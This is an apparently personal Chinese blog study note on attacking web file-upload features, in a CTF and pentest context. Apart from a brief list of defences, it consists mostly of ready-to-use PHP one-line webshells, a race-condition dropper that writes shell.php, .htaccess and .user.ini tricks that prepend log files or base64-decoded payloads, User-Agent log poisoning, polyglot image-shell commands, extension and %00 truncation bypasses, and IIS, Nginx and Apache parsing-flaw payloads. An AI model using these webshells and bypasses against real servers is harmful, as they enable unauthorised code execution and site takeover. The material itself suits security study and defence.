文件上传

文件上传


一句话木马

php

<?php eval($_POST['cmd']); ?>
<?= @eval($_POST['cmd']); ?>
<script language='php'> eval($_POST['cmd']);</script>

成因:上传文件时,服务器代码未对客户端上传的文件进行严格检查,用户上传恶意脚本(WebShell)如asp、aspx、php、jsp等脚本文件


http头里的content-type可参照post 提交之 multipart/form-data; boundary= ... - 柳帅 - 博客园 (cnblogs.com)


防御

  1. 不要暴露上传文件的位置
  2. 禁用上传文件的执行权限
  3. 黑白名单
  4. 对上传的文件重命名
  5. 对文件内容进行二次渲染
  6. 对上传的内容进行读取检查

js检测绕过

在前端使用js代码检查


1、使用插件删除js代码或禁用javascript

2、先上传个后缀为.jpg的照片,bp抓包修改filename为脚本后缀


文件后缀绕过

在服务器端检测上传的文件后缀

1、使用能上传的文件后缀对应编写脚本代码,上传webshell

php

<?php
eval($_POST['cmd']);

当有配置时,可将php改成后缀php1-7、pht


phtml

需要有配置


2、可通过了解不同的服务器处理机制绕过:

如Apache解析从右往左解析文件后缀,如果最右侧扩展名不可用,就继续往左判断,直到遇到可解析文件后缀为止,如1.php.xxxx,后缀xxxx不可被解析,向左继续解析成php文件


.htaccess

apache配置文件

注:

不要给他加名字,下面一样

.htaccess 文件的作用范围为局部,它通常位于网站的根目录或特定目录中,并只影响该目录及其子目录。每个目录都可以有自己的 .htaccess 文件。该文件修改保存后生效(如果在httpd.conf中设置了AllowOverride:None的话就寄了),优先级高,可覆盖一些httpd.conf的内容

.htaccess:

AddType application/x-httpd-php .jpg .txt

将jpg,txt都当成php文件解析


httpd.conf 文件的作用范围为全局,它是 Apache 主配置文件,影响整个服务器,该文件修改保存后,重启服务器才生效

AllowOverride的值
None: 不允许.htaccess 文件覆盖任何配置选项。
All:允许.htaccess 文件覆盖所有配置选项。

AuthConfig: 允许.htaccess 文件覆盖身份验证相关的配置选项,如 AuthType、 AuthName、 AuthUserFile等.
........还有很多


.user.ini(htaccess)和 php.ini(httpd.conf)的关系和上面差不多

加载顺序:先加载httpd.conf(php.ini),到对应目录查看有无htaccess(.user.ini),有的话将配置添加或覆盖此配置


利用

.htaccess文件配置将其他文件转换编码解析的配置,上传其他文件编码转换后的一句话木马,蚁剑设置对应的编码连接

但是注意一点,如果要上传.htaccess文件绕过检测的话,使用GIF89a的文件头会导致.htaccess文件无法生效。

  • 预定义高度宽度:

  • GIF89a
    #define width 1337
    #define height 1337
    php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./cmd.jpg"
    AddType application/x-httpd-php .jpg
    

.user.ini

前提:该上传目录有php文件,php版本高点

auto_prepend_file=1.jpg    //当运行该目录的php文件前,会将1.jpg的内容包含进来

ua头绕过

参考:ISCTF 2023 misc&web wp_isctf2023-CSDN博客

服务器通常会记录HTTP请求的日志文件,其中包括客户端发送的User-Agent头信息。通过记录User-Agent头,服务器可以了解到访问网站的客户端的类型、版本、操作系统等信息。

apache和nginx的日志路径

auto_prepend_file=/var/log/apache/access.log
auto_prepend_file=/var/log/nginx/error.log
auto_prepend_file=/var/log/nginx/access.log

上传.user.ini

auto_append_file="/var/log/nginx/access.log"

在ua头添加一句话木马

<?php @eval($_POST['shell']);?>

看到有的可以直接

auto_prepend_file=/flag

.[空格]. 绕过

文件后缀加.

文件后缀加. .

windows文件后缀自动删空格或.


大小写绕过

后端没有strtolower等函数将大写转换成小写时用

后缀:.PHp


空格绕过

后端没有trim等函数将空格清空

后缀加空格绕过后缀黑名单:.php空空空空格格格格

bp抓包添加


双写绕过

后端将黑名单内容替换成空

后缀:.pphphp


额外数据流::DATA

后端没有去除::DATA的函数

str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

Windows特性:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名

例如:"phpinfo.php::$DATA",Windows会自动去掉末尾的::$DATA变成"phpinfo.php"

bp抓包,后缀添加::$DATA


文件类型绕过

在服务器端检查数据包的Content-Type

查找MIME type类型,不断修改重放(爆破),直到服务器接收


文件内容绕过


注释绕过

Dedecms-v5.7.109-RCE,后台文件上传

/*
<?php eval($_POST['cmd']); ?>
*/

前提

有文件包含漏洞

把图片的内容包含进来(php代码会以php形式解释)


文件头检测

某些特定类型文件有文件头:如gif文件头为GIF89a,服务器获取文件头的内容,判断文件类型

function isImage($file){
	$fh = fopen($file,'rb');
    if ($fh) {
        $bytes = fread($fh, 6);
        fclose($fh);
        if ($bytes === false) return false;
		if (substr($bytes,0,3) == " xff\xd8\xff") return 'image/jpeg';
		if ($bytes == "\x89PNG\x0d\x0a") return 'image/png';
		if ($bytes == "GIF87a" or $bytes == "GIF89a") return 'image/gif'
	return false;  
} 
    
//1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
//2.Jpg图片文件包括2字节:FF D8。
//3.Gif图片文件包括6字节:47 49 46 38 39 61 。即为 GIF89(7)a。
//47 49 46 38 37 61
//4.Bmp图片文件包括2字节:42 4D。即为 BM。

在文件内容加上对应的文件头,绕过服务器:GIF89a......

蚁剑连接:/?file=......gif


文件结构检测

服务器通过getimagesize、imagecreatefromgif等图像函数判断上传的文件是否为对应类型图像

可用一个小照片和脚本合并成一个文件

linux:cat image.png websehll.php > image.php

windows:copy 1.jpg /b + 1.php/a 2.jpg (用cmd,别用windows powershell)


二次渲染绕过

最好 gif 图片(改变的内容少)

当后端使用一些特殊函数将图片修改如:图片清洗(将图片后面的代码删除)或生成新图片等各种花里胡哨操作。

1、使用:RickGray/Bypass-PHP-GD-Process-To-RCE: Reference: http://www.secgeek.net/bookfresh-vulnerability/ (github.com)


2、上传一个gif --> 下载并分析与原来的gif图片相同的内容(这些内容不会因为特殊函数而导致值改变)--> 插入一句话木马 --> 上传,蚁剑


3、利用php不会对渲染过的图片再次渲染特性:随便上传gif --> 下载渲染后的图片,直接在该渲染后的图片添加一句话木马 --> 上传,蚁剑


文件内容检测

对文件的内容进行检测,检查是否含有webshell

使用kali weevely进行强混淆内容,然后尝试绕过


竞争条件攻击

前提:服务器端先允许往目录上传文件,然后再检查文件是否有webshell,有就杀。在文件上传成功到删除文件有一个很小的时间差(检查文件和删除的时间)可利用

小马:

<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>    //在当前目录生成shell.php,并写入内容

蚁剑连接得持久性,所以利用时间差生成个长时间文件,再连接。(如果放在该目录的shell.php也被杀,试一下放上一个目录去)


两个包

小马包


访问上传路径小马包


不用payload,线程数设大点,开始攻击,与服务器竞争


文件截断绕过

PHP %00截断,php<5.3.4且配置magic_quotes_gpc为off

特定环境%00代表结束符,会把00后面所有字符删除

<?php
    error_reporting(e);
	$ext arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif', 'jpg','png','bmp');
	$file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
	if(in_array($file_ext,$ext_arr)){
		$tempFile = $_FILES['file']['tmp_name'];
		// 这句话的$_REQUEST[jieduan’]造成可以利用截断上传
		$targetPath = "upload/".$_REQUEST['jieduan'].rand(10,99).date("YmdHis").".".$file_ext;
    }

仅有前端验证时:直接在文件名中加 %00 进行截断,但如果在后端有验证的话,就会在in_array函数时被过滤,因为输入时的filename=1.php%00.jpg,是以php为后缀给服务器端检测的。

%00截断一般用于截断路径(需文件路径可控),而不是截断文件名,如上面路径uploads/可控,就可以直接把路径构造成uploads/xxx.php%00/1.jpg(即/?jieduan=1.php%00.jpg),截断了后面的文件名和路径,只剩下1.php

GET提交可直接%00,POST提交需bp打个空格再将空格十六进制修改成00


解析漏洞

文件解析漏洞是由于网站管理员操作不当或者 Web 服务器自身的漏洞,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种情况下解释成脚本文件执行。


判断服务器类型:

1、抓包看server值

2、访问不存在界面看错误信息


IIS/Nginx+PHP fastcgi取值错误

1、php配置文件中开启cgi.fix_pathinfo

开启后,所执行文件不存在时,会继续向上级目录查找文件

举个例子,如果文件的上层路径为 /test.png/not_exist.php;当启用cgi.fix_pathinfo时,php检测到 “not_exist.php” 文件并不存在,则会向上寻找存在的文件,最终会找到test.png文件并将其当作 .php文件执行


2、未设置securit.limit_extensions

该选项设置后可限制可执行的文件类型

.gif为上传的图片马,后面路径为不存在的文件,当访问时利用Nginx\IIS解析漏洞,使gif文件被当成php文件执行


Nginx文件名逻辑漏洞(CVE-2013-4547)

影响版本: Nginx 0.8.411.4.3/1.5.01.5.7

累了,文章:14.Nginx 文件名逻辑漏洞(CVE-2013-4547) - bmjoker - 博客园 (cnblogs.com)

payload:bp:1.gif[0x20][0x00].php,记得url解码


Apache解析漏洞(配置错误)

如果在Apache的conf文件中有如下配置

AddHandler application/x-httpd-php php

那么abcde.php.jpg也会被当做php去执行


如果在.htaccess中有如下配置,可以将扩展名xxx当做php执行

AddType application/x-httpd-php xxx

(可用于留后门)


IIS 5.x/6.0解析漏洞

上传文件名:abcde.asp;.jpg

服务器默认不解析;号后面的内容,因此abcde.asp;jpg被当做了asp文件解析


在网站下建立文件夹的名字为.asp、.asa、.cer、.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行

posted @ 2023-11-07 15:09  ^cyi^  阅读(40)  评论(0编辑  收藏  举报